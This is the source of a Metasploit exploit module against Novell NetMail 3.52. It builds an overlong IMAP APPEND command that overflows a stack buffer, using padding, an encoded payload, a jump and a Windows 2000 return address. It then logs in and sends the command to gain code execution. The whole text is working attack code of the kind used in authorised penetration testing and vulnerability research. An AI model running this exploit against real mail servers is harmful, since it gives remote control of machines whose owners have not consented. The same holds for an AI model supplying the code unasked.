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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell NetMail IMAP APPEND Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
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        verb. By sending an overly long string, an attacker can overwrite the
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        buffer and control program execution.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2006-6425' ],
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          [ 'OSVDB', '31362' ],
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          [ 'BID', '21723' ],
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          [ 'ZDI', '06-054' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 700,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows 2000 SP0-SP4 English',   { 'Ret' => 0x75022ac4 }],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2006-12-23'))
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  end
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  def exploit
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    sploit =  "a002 APPEND  " + "saved-messages (\Seen) "
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    sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
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    sploit << rand_text_english(2) + [target.ret].pack('V')
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    sploit << [0xe9, -585].pack('CV') + rand_text_english(150)
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    info = connect_login
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    if (info == true)
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      print_status("Trying target #{target.name}...")
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      sock.put(sploit + "\r\n")
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    else
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      print_status("Not falling through with exploit")
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    end
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    handler
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    disconnect
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  end
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end
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